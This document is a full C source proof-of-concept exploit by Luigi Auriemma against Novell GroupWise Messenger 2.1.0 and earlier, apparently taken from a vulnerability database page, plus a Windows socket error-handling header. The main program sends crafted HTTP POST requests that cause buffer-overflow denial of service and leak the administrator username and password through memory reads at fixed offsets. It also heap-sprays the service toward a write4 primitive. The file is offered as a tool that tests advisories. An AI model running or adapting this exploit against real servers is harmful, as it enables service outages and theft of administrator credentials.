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Novell GroupWise Messenger <= 2.1.0 DoS
winerr.h
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
----------
nmma_x.c
----------
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
#define VER "0.1"
#define PORT 8300
#define BUFFSZ 8192 // the server doesn't handle more than this
#define MAXSZ 0xff0 // the server doesn't handle more than this
#define BOFCHR 0x41414141
#define BUG2a 0x00560224
#define BUG2b 0x00560324
int tcp_recv(int sd, u8 *buff, int size);
int recv_gwm(int sd);
int send_gwm(int sd, u8 *cmd, ...);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct linger ling = {1,1};
struct sockaddr_in peer;
int sd,
i,
bug;
u16 port = PORT;
u8 tmp[32],
*host;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"Vulnerabilities in Novell GroupWise Messenger <= 2.1.0 " VER "\n"
"by Luigi Auriemma\n"
"e-mail: [email protected]\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <bug> <host> [port(%d)]\n"
"\n"
"Bugs:\n"
" refer to the relative advisories for the available numbers\n"
" and what vulnerabilities they test\n"
"\n", argv[0], port);
exit(1);
}
bug = atoi(argv[1]);
host = argv[2];
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(host);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
setsockopt(sd, SOL_SOCKET, SO_LINGER, (char *)&ling, sizeof(ling));
if(connect(sd, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) std_err();
if(bug == 0) {
// lame DoS only
send_gwm(sd, "login",
"NM_A_SZ_TRANSACTION_ID", 8, BOFCHR,
NULL, -1, NULL);
} else if(bug == 1) {
send_gwm(sd, "login",
"NM_A_PARM1", 12, BOFCHR,
NULL, -1, NULL);
} else if(bug == 2) {
printf("- read memory at offset 0x%08x (administrator FDN username):\n", BUG2a);
send_gwm(sd, "getdetails",
"NM_A_SZ_DN", 8, BUG2a,
NULL, -1, NULL);
printf("- read memory at offset 0x%08x (administrator password):\n", BUG2b);
send_gwm(sd, "getdetails",
"NM_A_SZ_DN", 8, BUG2b,
NULL, -1, NULL);
} else if(bug == 3) {
printf("- heap spray, you will get a write4 in 0x%08x\n", BOFCHR);
for(i = 0; i < 50; i++) {
send_gwm(sd, "createsearch",
"test", 10, NULL, // NULL here is a string of about 4000 'a's
NULL, -1, NULL);
send_gwm(sd, "createsearch",
"test", 9, 0,
"test", 9, 0,
"test", 9, 0,
"test", 9, 0,
"test", 9, 0,
"test", 9, 0,
"test", 9, 0,
"test", 9, 0,
"test", 9, 0,
"test", 9, 0,
"test", 9, 0,
"test", 9, 0,
"test", 9, 0,
"test", 9, 0,
"test", 9, 0,
"test", 9, 0,
"test", 9, 0,
"test", 9, 0,
"test", 9, 0,
"test", 9, 0,
"test", 9, 0,
"test", 9, 0,
"test", 9, 0,
"test", 9, 0,
NULL, -1, NULL);
}
printf(
"- now I need to join the Messenger server with a valid account.\n"
" I will use the account with username \"admin\" and password\n"
" \"adminpass\" so that it's not needed to create additional accounts\n"
" (boring operation) for verifying this vulnerability.\n"
" be sure to have this account on your eDirectory server.\n"
" press RETURN to continue the test\n");
fgets(tmp, sizeof(tmp), stdin);
send_gwm(sd, "login",
//"NM_A_PARM1", 10, "Sx6ItFwErgcmyZ62tIbi3w%3d%3d", // blowfish of "test::test"
"NM_A_PARM1", 10, "1Bi2DNQGfH0ScFGkgDD8dVHeYP%2bt9VL7", // blowfish of "admin::adminpass"
"NM_A_SZ_USER_AGENT", 10, "NGWMW%2f2%2e0%2e2+%28Windows+Server+2003%3b+5%2e2%29",
"NM_A_UD_BUILD", 8, 7,
NULL, -1, NULL);
send_gwm(sd, "getattribs",
NULL, -1, NULL);
send_gwm(sd, "createsearch",
"test", 9, 0,
NULL, -1, NULL);
} else {
printf("\nError: invalid bug number (%d)\n", bug);
exit(1);
}
//quit:
close(sd);
printf("\n- done\n");
return(0);
}
int tcp_recv(int sd, u8 *buff, int size) {
int i;
u8 c;
for(i = 0; i < size; i++) {
if(recv(sd, buff ? (buff + i) : ((void *)&c), 1, 0) <= 0) return(-1);
}
return(i);
}
int recv_gwm(int sd) {
static u8 *buff = NULL;
u32 len;
int crlf = 0,
eof = 0;
u16 type;
u8 c;
for(;;) {
len = recv(sd, (void *)&c, 1, 0);
if(len <= 0) return(-1);
if(c == '\n') crlf++;
if(c > '\r') crlf = 0;
if(crlf >= 2) break;
}
printf("\n");
do {
if(tcp_recv(sd, (void *)&type, 2) < 0) return(-1);
if(type == 0x683c) { // "<html>", yeah it's lame but this is only a PoC
if(tcp_recv(sd, NULL, BUFFSZ) < 0) return(-1);
break;
}
if(tcp_recv(sd, (void *)&len, 4) < 0) return(-1);
buff = realloc(buff, len); // no !buff check, will be automatically skipped
if(tcp_recv(sd, buff, len) < 0) return(-1);
if(buff) printf(" %-26s ", buff);
if(!buff || !strcmp(buff, "NM_A_SZ_TRANSACTION_ID")) eof = 1;
if(tcp_recv(sd, (void *)&len, 4) < 0) return(-1);
if((type == 10) || (type == 13)) {
buff = realloc(buff, len); // no !buff check, will be automatically skipped
if(tcp_recv(sd, buff, len) < 0) return(-1);
if(buff) printf("%s\n", buff);
} else {
printf("%d\n", len);
}
} while(!eof);
printf("\n");
return(0);
}
int send_gwm(int sd, u8 *cmd, ...) {
static u8 buff[BUFFSZ + 1],
tmp[MAXSZ + 1];
static int tid = 0;
va_list ap;
int type,
len;
u8 *p,
*s1,
*s3;
p = buff;
p += sprintf(p,
"POST /%s HTTP/1.0\r\n"
"\r\n",
cmd);
va_start(ap, cmd);
for(;;) {
s1 = va_arg(ap, u8 *);
if(!s1) break;
type = va_arg(ap, int);
if((type == 10) || (type == 13)) {
s3 = va_arg(ap, u8 *);
if(!s3) { // max string
memset(tmp, BOFCHR & 0xff, MAXSZ);
tmp[MAXSZ] = 0;
s3 = tmp;
} else if((u32)(s3) <= 0x1000) {
sprintf(tmp, "%d", (u32)s3);
s3 = tmp;
}
} else {
sprintf(tmp, "%d", va_arg(ap, int));
s3 = tmp;
}
p += sprintf(p,
"&tag=%s"
"&cmd=0"
"&val=%s"
"&type=%d",
s1, s3, type);
}
va_end(ap);
p += sprintf(p,
"&tag=%s"
"&cmd=0"
"&val=%d"
"&type=%d"
"\n",
"NM_A_SZ_TRANSACTION_ID", ++tid, 10);
len = p - buff;
if(len > BUFFSZ) {
printf("\nError: too much data (%d) for the send buffer (%d)\n", len, BUFFSZ);
exit(1);
}
//printf(">SEND\n%s\n", buff);
if(send(sd, buff, len, 0) < 0) return(-1);
if(recv_gwm(sd) < 0) return(-1);
return(0);
}
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;
tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
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01 Jul 2012 00:00Current
7High risk
Vulners AI Score7